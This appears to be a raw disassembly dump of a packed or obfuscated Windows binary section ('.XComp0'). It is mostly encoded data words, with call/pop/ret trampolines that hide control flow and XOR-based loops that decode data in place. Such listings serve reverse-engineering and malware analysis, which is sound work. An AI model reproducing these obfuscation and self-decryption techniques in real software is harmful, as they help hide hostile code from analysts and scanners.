835F6DDBh, 0F91785BDh, 850F0105h, 0AFh dd 2705BD8Bh, 9E905F9h, 0E9000000h, 0E0EAF838h, 6B771DB2h dd 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 33F7CEC3h, 6DBFEBA6h, 0BD8B8641h, 5F90B19h dd 9E9h, 3FCF0300h, 70FEA8D3h, 5790C32Dh, 6E9h, 93F10C00h dd 5FEB38C2h, 0BE606050h, 342187B4h, 8E961h, 0DC410000h dd 0DDDD3640h, 906178B2h, 95FFD88Bh, 5F90099h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 63C35040h, 6381D9B5h dd 89FB531Fh, 0F9174D95h, 48F0F05h, 66000000h, 0E9D07CBFh dd 0DA7h, 0E8h, 0ED815D00h, 5FE5A9Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0B1C35646h, 0E83AC74Dh, 0Ah dd 898F6C6Ah, 0C79601C4h, 0B9BBB8BDh, 5B20961Bh, 508DEF81h dd 6A34ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 31D376C3h, 4E3D9FD6h, 858DA24Fh, 5FCD97Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A5C35545h dd 4AD622B3h, 1E0C789Ch, 0CE91Bh, 0A88E0000h, 1492D253h dd 29AB0F55h, 0B350EE23h, 2404893Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0F5C35646h, 15F1363Ch, 9673E031h dd 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0FF9C355h, 173B728Fh dd 5E9AA6Ch, 0C7000000h, 0C57F02F7h, 0E6816660h, 0EA80D77Dh dd 896461FDh, 25h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D8B0EA8h, 5F920F1h, 26BDB529h dd 85FF05F9h, 5F9197Dh, 59EF8166h, 6AFF6A9Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 5077C355h, 0D9B5FF10h, 0F05F913h, 7E9D9BFh, 0CF000000h dd 9A3C3924h, 95FF221Bh, 5F90911h, 0F2E9h, 85BD8B00h, 0B005F915h dd 8170E600h, 0C0B8FCDFh, 171E462h, 0F918ADB5h, 0F613C05h dd 0D283h, 0B60FF900h, 6870FC8h, 89000000h, 0F920D99Dh dd 419D8B05h, 0BA05F92Bh, 6, 8BD98B66h, 5870FC1h, 66000000h dd 0FC33D381h, 8104E8C1h, 1BC03CEBh, 0E2F76629h, 18DD9501h dd 0C82B05F9h, 10EDB589h, 0D18B05F9h, 0E9B9CB80h, 83h dd 14249EBBh, 50858B01h, 8347554Ch, 0DE8A07C0h, 8900C083h dd 0F921F9B5h, 0D88B6605h, 830FD03Bh, 19h, 86C1E381h, 54E9303Ah dd 0E9000000h, 9, 22B2AFFBh, 0F96FB05Fh, 0FF8D8B2Fh, 0FFFFFFFh dd 81h, 1E18300h, 31840Fh, 0C3800000h, 12E951h, 0E90A0000h dd 0D5AC1F96h, 0B8ACD438h, 0F9FEC317h, 72BD3148h, 0FFFFA583h dd 0FFEFFFFh, 9589DABFh, 47554C50h, 0E9D98Bh, 8D000000h dd 0FDD19FB5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8B66966Bh, 81006AF8h dd 0DF1C14CFh, 0ED95FF76h, 8905F91Ah, 0F9125195h, 0E5CB905h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 312F67C3h, 75A799FAh, 8B59182Ch, 0F907A59Dh dd 0FCE18305h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 41C35141h, 0F78166C0h, 6AFCF037h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0BCE1C357h dd 0BB66C9ADh, 0C02B24B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 2FC35242h, 389E0DA1h, 0B98D0957h, 0BA05F907h dd 0 ; --------------------------------------------------------------------------- mov edi, [ebp+5F924FDh] loc_5C13E6: ; CODE XREF: .XComp0:005C13F0j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C13E6 sub [ebp+5F91045h], esi jmp loc_5C1411 ; --------------------------------------------------------------------------- mov ebp, 318C0FE0h fld dword ptr [ebp+3Bh] rol byte ptr [edi+120E2F3Eh], 1 or [edi], edx pop edx or al, 0C0h dec eax loc_5C1411: ; CODE XREF: .XComp0:005C13F8j or eax, 88h push 0 push eax call sub_5C1421 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1421 proc near ; CODE XREF: .XComp0:005C1419p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5C1421 endp ; --------------------------------------------------------------------------- db 87h, 2Eh, 5 ; --------------------------------------------------------------------------- and ch, [eax] jmp loc_5C1445 ; --------------------------------------------------------------------------- db 0AAh dd 0DFBB4B74h, 4EFC1321h db 0B8h ; --------------------------------------------------------------------------- loc_5C1445: ; CODE XREF: .XComp0:005C1436j mov edx, [ebp+5F90CDDh] push 0 push edi call sub_5C1456 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1456 proc near ; CODE XREF: .XComp0:005C144Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5C1456 endp ; --------------------------------------------------------------------------- dw 292Eh dd 0F98F5CE8h, 0DF818F0Fh, 506BCB2Dh, 26C18D8Bh, 0EE905F9h dd 5C000000h, 0DA8AB78Eh, 0C4B06E30h, 512B1DBEh, 0C28B5032h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 9E1EC355h, 0B308EC0Bh, 6810FF8h, 89000000h, 0F924A1B5h dd 59BD8305h, 5F911h, 64840Fh, 81660000h, 0B8917BC7h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5C14EF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C14EF proc near ; CODE XREF: .XComp0:005C14E7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5C14EF endp ; --------------------------------------------------------------------------- db 0C8h ; --------------------------------------------------------------------------- movsb mov bx, 48F4h mov ebx, 7BC9A806h lea ecx, [ebp+5F94EE8h] sub [ebp+5F918E5h], esi jmp ecx ; --------------------------------------------------------------------------- push 0 push ebx call sub_5C1523 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1523 proc near ; CODE XREF: .XComp0:005C151Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5C1523 endp ; --------------------------------------------------------------------------- mov eax, ds:0E3C4838Ch sub [ebp+5F92145h], ecx cmp dword ptr [ebp+5F900FDh], 0 jz loc_5C19A0 push 0 push edx call sub_5C1556 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1556 proc near ; CODE XREF: .XComp0:005C154Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5C1556 endp ; --------------------------------------------------------------------------- mov byte ptr [ecx-7Fh], 0D3h retf 1915h ; --------------------------------------------------------------------------- db 24h, 83h, 0BDh ; --------------------------------------------------------------------------- std add cl, bh add eax, 40840F01h add al, 0 add [edx+0], ch push ebp call sub_5C1586 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1586 proc near ; CODE XREF: .XComp0:005C157Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C1586 endp ; --------------------------------------------------------------------------- dw 4163h ; --------------------------------------------------------------------------- mov edi, [ebp+5F911F1h] mov [ebp+5F92DA1h], eax cmp dword ptr [ebp+5F900FDh], 3 jbe loc_5C1985 push 0 push ecx call sub_5C15BC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C15BC proc near ; CODE XREF: .XComp0:005C15B4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5C15BC endp ; --------------------------------------------------------------------------- dd 1D9D8901h, 6605F913h, 604BEBBFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0EEC35141h, 0F4673A6Dh, 0F1BD8B01h dd 6605F90Ch, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 5A8D3AC3h, 0FA8484Ah, 0E180FEB7h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 8E479FE0h, 0C90A0128h, 18A840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 2B79E2C3h, 1E3DEF5Dh, 858BECDAh, 5F92599h, 725BD89h dd 853305F9h, 5F9042Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 9C35646h, 0BD298E89h, 5F92C95h, 0A107BF90h dd 0B750081Ch, 6A906Ch, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0F3DCDAC3h, 6E136B20h, 8D090091h dd 5F927BDh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 3D1890C3h, 66547641h, 4E8DE8Bh dd 0FF000000h, 53001F03h, 505B25B7h, 424448Bh, 7E96060h dd 0A3000000h, 0B510931Fh, 1DB93588h, 6106CDBCh, 0DA33B966h dd 50008B61h, 60310F52h, 0FB171AB8h, 7E800h, 189B0000h dd 13E8A65Eh, 5A615FF5h, 24448958h, 7EBB6604h, 9D8B5806h dd 5F915A5h, 2AC595FFh, 6A05F9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 501E7BC3h, 13E9h, 545ED600h dd 0D4350E68h, 0A23E5EBh, 0EF3E478Fh, 346005D4h, 2185895Fh dd 0F05FCFCh, 285h, 0E958B300h, 164h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0C2C35040h, 0E4F3E0B1h, 0B31D96A7h dd 4119D8Bh, 8D8905F9h, 5F91111h, 0FC19858Bh, 816605FCh dd 0C71F22DFh, 1800h, 0D6BB6600h, 1DB58BD0h, 6A05FCFCh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8BCBC351h, 0F91595BDh, 89858B05h, 6605F92Bh dd 689FB8Bh, 76B2BF66h, 2599858Bh, 0DE905F9h, 0 dd 114F137Ah, 7158A345h, 0C6B93FB5h, 89044689h, 0F91B1DB5h dd 67BB5005h, 896518E3h, 6A2434h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 89988AC3h, 9058CC8Fh dd 0BE9F3h, 0E2B70000h, 0E0A9D7A8h, 2781B57Bh, 26C381BCh dd 0FF674727h, 0FCFC19B5h, 0B561BB05h, 4C685879h, 8B8BB35Bh dd 240481F8h, 746BA8B3h, 9D8BF0Fh, 0F9108DB5h, 21858D05h dd 6A05FCFCh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0C963C352h, 15D9E148h, 9F3B3AC9h dd 8B50A7B3h, 240489FBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 4BC35545h, 57B3F2D7h, 22558D01h, 95FF05F9h dd 5F92AC5h, 6F7BBB66h, 51006A61h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0A6BA44B6h, 89463E8Ch dd 0F90CAD85h, 0FD85C705h, 305F900h, 81000000h, 0C6949EBh dd 21BD8376h, 5FCFCh, 2F840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F44C5DC3h dd 61605160h, 21E9615Ah, 89000000h, 0F925B595h db 5 ; --------------------------------------------------------------------------- loc_5C1985: ; CODE XREF: .XComp0:005C15ABj ; .XComp0:005C199Cj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5C1985 jmp short loc_5C19D6 ; --------------------------------------------------------------------------- loc_5C19A0: ; CODE XREF: .XComp0:005C1545j ; .XComp0:005C19B7j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5C19A0 jmp short loc_5C19D6 ; --------------------------------------------------------------------------- loc_5C19BB: ; CODE XREF: .XComp0:005C19D2j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5C19BB jmp short $+2 loc_5C19D6: ; CODE XREF: .XComp0:005C199Ej ; .XComp0:005C19B9j mov eax, eax add ebx, [ebp+5F92DB1h] cmc cmp dword ptr [ebp+5F900FDh], 3 jnz loc_5C1DF3 stc cmp dword ptr [ebp+5FCFC21h], 0 jz loc_5C1DF3 jnz loc_5C1A06 mov [ebp+5F924BDh], edx loc_5C1A06: ; CODE XREF: .XComp0:005C19FAj push dword ptr [ebp+5FCFC21h] push 0 push esi call sub_5C1A17 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1A17 proc near ; CODE XREF: .XComp0:005C1A0Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5C1A17 endp ; --------------------------------------------------------------------------- db 0BEh dd 17698F4Ch, 0E916B7BAh, 0Eh, 29682F6h, 6D482528h, 0F72E69E4h dd 95FF8893h, 5F91AADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0BFC35747h, 0ED778FBAh, 0E66D5BAh, 0B8CF8166h dd 15B58B85h, 5205FCFCh, 9AFABF66h, 106C75Fh, 0E9000100h dd 6, 0D59C3D35h, 509678E8h, 0DA8B6652h, 0BF66310Fh, 585A8C5Eh dd 8B566050h, 96615FC1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0B4C35747h, 261ABF66h, 0FC21B5FFh, 6A05FCh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 69B3DAC3h, 36156413h, 0FCE4A58h, 882h, 28D0F00h, 52000000h dd 2995FF5Fh, 6A05F927h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0D4CAC357h, 6682B7F6h dd 6D27CB81h, 0FC15B58Bh, 6A05FCh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0F09BAC3h, 0FB8B661Fh dd 4EDB529h, 858B05F9h, 5F91809h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0E5C35646h, 6800FA9h, 29000000h dd 0F92111BDh, 0C4868905h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 1E63C352h dd 0F889760h, 684h, 0D19D8900h, 8B05F925h, 0F90CDD95h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 5B94CF0h, 0BB04C283h, 1365D0C8h, 6A205089h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0BE5EC355h, 0BFE05277h, 23F9487Ah, 10E9858Dh dd 6A05FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 880236C3h, 0E814DF08h, 8, 0D74A33DBh, 0F1A9965Bh dd 20CD9D8Bh, 8B5B05F9h, 0F912059Dh, 0B8868905h, 31000000h dd 0F90DADBDh, 57006A05h, 5FDFB70Fh, 0FC21B5FFh, 0BD8905FCh dd 5F90F85h, 9995FFh, 8B6605F9h, 0BB6650F8h, 34896AEEh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0E33EF3B2h, 5412BB20h, 21B5FFCCh, 0E905FCFCh dd 0Ch, 3173D178h, 0C5D38AF6h, 0A9779B0Fh, 356995FFh, 6A05F9h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 446EBCC3h, 0A14F9B2h, 0BD83D6CAh, 5F917F5h, 82840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0B3C0C357h, 89AE426Fh, 43D78160h dd 6042E46Dh, 0FE8h, 0CE5E3000h, 0DF1934D9h, 0D24233Fh dd 8AE2B9E3h, 17B8665Ah, 89616156h, 0F927C59Dh, 0D8BF0F05h dd 9EBB6650h, 24348988h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 55C35545h, 0A8A69ED3h, 4098BB56h, 2B5F455Ch dd 0F921D59Dh, 21B5FF05h, 0F905FCFCh, 95FFFE8Bh, 5F92E6Dh dd 0B5FFDF8Bh, 5FCFC21h, 0F4D8D89h, 95FF05F9h, 5F921DDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 17C35747h dd 71889126h, 0DB816645h, 0BD833D28h, 5F90A2Dh, 1C840F02h dd 8B000000h, 51858BD9h, 0F05F911h, 58Bh, 0D7816600h, 0C6D0A3h dd 23CB8100h, 0C72FE11Ch, 0F9331985h, 5, 0F9858900h db 16h, 0F9h, 5 ; --------------------------------------------------------------------------- loc_5C1DF3: ; CODE XREF: .XComp0:005C19E6j ; .XComp0:005C19F4j jmp near ptr dword_5C0BE4+5E9h ; --------------------------------------------------------------------------- push 0 push edi call sub_5C1E03 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1E03 proc near ; CODE XREF: .XComp0:005C1DFBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5C1E03 endp ; --------------------------------------------------------------------------- db 5Ah dd 0F00772Ch, 68Eh, 15953100h, 8B05F925h, 0B58589C1h, 8D05F90Fh dd 0F90DC185h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 53A13DB8h, 34821C95h dd 0D380FC48h, 0BB665063h, 489AB81h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0EEBCCC33h dd 3BBF17Ah, 6A11E111h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 14E2160h, 0F9181985h dd 6A006A05h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 73BEC351h, 0E48D7414h, 0F3D5389h dd 68Ah, 76DF8100h, 332379F7h, 0F91459BDh, 6E858D05h, 0E905FE6Ah dd 11h, 5116A136h, 963EDCF7h, 0B190A6D6h, 694A05C6h, 0C083F504h dd 828EBB05h, 0E950558Dh, 14h, 61D5470Ch, 0F5540192h, 7D3EE50Ch dd 0FEE0B30h, 1BE4672Ah, 0BF240489h, 18BAED65h, 10E9006Ah dd 0D4000000h, 0CC09F971h, 8AA3AF12h, 0E4AC205Eh, 6A8F790Eh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 486089D3h, 758D09DEh, 0FF05F913h, 0F913ED95h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 2FB1EBD0h, 0BF4CCE5Bh, 5E8h, 78BA7E00h dd 8151760Ah, 0E7CED2D3h, 8D5F5F1Fh, 0FCE9838Dh, 0D1FFF505h dd 0FFBB70Fh, 68Bh, 799D8900h, 8305F929h, 0F91785BDh, 850F0105h dd 8Fh, 26A07B3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0A7C35747h, 0F5D61715h, 72B62E66h, 0C98D897Ch dd 5005F910h, 4840Fh, 8B570000h, 4895BDEh, 52006A24h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 4375CC1Ah, 916D0FA7h, 9995FF85h, 6A05F900h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 3716C352h, 9D8BC055h, 5F906CDh, 0E9FA8B66h, 0BFCh, 0E8h dd 0ED815D00h, 5FE6A78h, 3155BD29h, 6A05F9h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 70C662C3h dd 3EE4DC45h, 28D0Fh, 0DD8A0000h, 0D97C858Dh, 816605FCh dd 905E55CFh, 5D73BF66h, 66525050h, 0F41C7BFh, 90585A31h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F1C35747h dd 0BAF6A116h, 64FA7C00h, 35FFh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0DDB169C3h dd 0DB81663Eh, 0BD8B2773h, 5F92E95h, 2E79B589h, 896405F9h dd 25h, 7D85FF00h, 6605F919h, 6A6F71BFh, 0C38166FFh, 0B5FFC64Ah dd 5F91091h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0D1C35343h, 0A404B13Eh, 9E2184Fh, 0F90CF98Dh, 1195FF05h dd 0E905F909h, 118h, 7E9h, 1D0D6600h, 266AA778h, 895600B0h dd 0F9243595h, 70E65F05h, 85DF8166h, 8071E44Ah, 9D8BBAF3h dd 5F91871h, 830F613Ch, 0E8h, 6E9h, 85CB2F00h, 80B561EEh dd 0B60FA6E3h, 0CE9C8h, 0DC700000h, 4C7CF221h, 4AB34D65h dd 6BA8D57h, 1000000h, 0F91B1D95h, 53C18B05h, 6840Fh, 9D890000h dd 5F933C5h, 4E8C15Bh, 20F19D8Bh, 0F76605F9h, 0FC82BE2h dd 687h, 0B1B58900h, 8B05F913h, 89E9F8D1h, 29000000h, 0F924959Dh dd 49858B05h, 0F944004Eh, 3307C083h, 0F92869BDh, 0C08305h dd 0BDEBF0Fh, 0F934119Dh, 0FD03B05h, 0E83h, 51B52900h dd 0E905F916h, 54h, 8B91E380h, 0FFFFFF8Dh, 1E183FFh, 42840Fh dd 0BF660000h, 9D8BD6DCh, 5F92E3Dh, 0FFFFA583h, 60FEFFFFh dd 205D8589h, 0B36005F9h, 61F8B555h, 49958961h, 0E844004Eh dd 0Ch, 3485C9B6h, 3B9A5C25h, 7C60BDBFh, 2E5D8589h, 0E95B05F9h dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+5FDDFFBh] push 0 push eax call sub_5C228D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C228D proc near ; CODE XREF: .XComp0:005C2285p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5C228D endp ; --------------------------------------------------------------------------- db 89h, 77h, 0B7h dd 0F1932ECDh, 6A5CA8h, 95FFFE8Bh, 5F91AEDh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 56C35343h, 8A5D8598h dd 1036B9DAh, 870F0000h, 1Fh, 0CE8h, 7BE4C700h, 100C8AB9h dd 95B34634h, 8E9FCh, 33C40000h, 3651675Dh, 815BB8BCh dd 7AE939D3h, 0FCE1831Bh, 61D38166h, 0BF0FFC92h, 0B8D9h dd 81660000h, 0BA4994DBh, 0 ; --------------------------------------------------------------------------- clc loc_5C231D: ; CODE XREF: .XComp0:005C2327j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C231D push 0 push esi call sub_5C2334 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2334 proc near ; CODE XREF: .XComp0:005C232Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5C2334 endp ; --------------------------------------------------------------------------- dd 7E2E410h, 30DBD2F2h, 50FC8AF9h, 6A5BF9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0D1F7ACC3h dd 0D288310h, 88h, 81666060h, 0F9AFAF3h, 8Bh, 0EF816100h dd 382DCF70h, 0DD958B61h, 6605F90Ch, 8BD6E0BBh, 0F926C18Dh dd 6890F05h, 1000000h, 0F9343185h, 0C28B5005h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 0F92681BDh, 68C0F05h dd 8B000000h, 0F900899Dh, 0C9950105h, 8305F91Fh, 0F91159BDh dd 840F0005h, 32h, 0B8h, 0F6BB6600h, 0E88D8D16h, 6A05F94Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 81D9C353h, 0FB531F63h, 0BD83E1FFh, 5F900FDh dd 3C840F00h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0DFFAC357h, 74739E56h dd 0A2B22F52h, 0FDBD83h, 0F0105F9h, 32584h, 51DF8100h dd 6649AD61h, 0BD83FB8Bh, 5F900FDh, 0D9860F03h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 1A31C351h, 5B76BE4Fh, 9D2BFCE7h, 5F925B5h dd 0BD8B60FCh, 5F93315h, 66E0CF80h, 9D8BD98Ch, 5F904E9h dd 13E9h, 0BB347300h, 6F932CF6h, 630709A2h, 97C83685h dd 6FA6EF20h, 0F04E180h, 0C90AFFBFh, 104840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 16DB68C3h, 0E272B4DBh, 0FE8B66D5h, 8BFB8B66h, 0F9259985h dd 8533F905h, 5F9042Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 9C35343h, 6090C6B3h, 0F525060h, 0F585A31h dd 8Dh, 0FA8B6100h, 52505061h, 0C8B7310Fh, 3190585Ah, 0F9209D8Dh dd 0E9006A05h, 0Ch, 74B40530h, 699149EDh, 2E687471h, 8A0E5868h dd 0D2BF6662h, 24348116h, 62950DA7h, 1025BD09h, 95FF05F9h dd 5F92AC5h, 11E9h, 0DA237500h, 685E42BFh, 68EFC268h, 2CC19C3h dd 0BF666F36h, 85898464h, 5FCFC21h, 0E831CB81h, 5CE95FCCh dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0F965C352h, 0E9196865h, 0Eh, 7D74C436h dd 0FB1A453Eh, 174FE9F5h, 858BE910h, 5FCFC19h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A5C35747h, 0AD77CFABh dd 0F4D40022h, 0E781661Ch, 0C7B71Bh, 18h, 0B58BDE8Bh, 5FCFC1Dh dd 0F59D89h, 858B05F9h, 5F92B89h, 33019D89h, 68905F9h dd 2599858Bh, 5B5005F9h, 0BB044689h, 697E91D7h, 0F536050h dd 88h, 8B665F00h, 348961F8h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0B5FF427Fh dd 5FCFC19h, 0C3BCEB81h, 4E83689h, 0FF000000h, 8A001F03h dd 0BF6650DCh, 448BE6BAh, 52500424h, 7E9310Fh, 74000000h dd 0A5B9AC83h, 585A1031h, 4489008Bh, 0FE8B0424h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0E325956h, 0F2A20EFFh, 0C781667Fh, 858DB244h, 5FCFC21h dd 0F4D8589h, 0BB6605F9h, 5090587Ah, 7305BB66h, 0C595FF90h dd 0E805F92Ah, 0Dh, 3924CFC2h, 221B9A3Ch, 55A9126Eh, 0E4CEBBC2h dd 615F174Fh, 0DF8402BFh, 0FD85C766h, 305F900h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0DCB4C351h, 0BD838045h, 5FCFC21h, 0D840F00h dd 66000000h, 680BC381h, 1EE9h, 0DABF0F00h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0B509C357h, 0B13792C7h, 0BD8B56C3h, 5F90B01h, 53006A5Bh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD83910Ah, 5F900FDh, 23850F03h, 6A000004h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0AC46C356h, 0A643BE92h, 0BD83C37Bh, 5FCFC21h, 0F3840F00h dd 89000003h, 0F9177DB5h, 21B5FF05h, 6605FCFCh, 3311CF81h dd 1AAD95FFh, 0E95005F9h, 14h, 0ACCA082Dh, 73F31D56h, 71F6363Bh dd 2531C0EBh, 1FD00377h, 0D681605Fh, 579029D1h, 15318523h dd 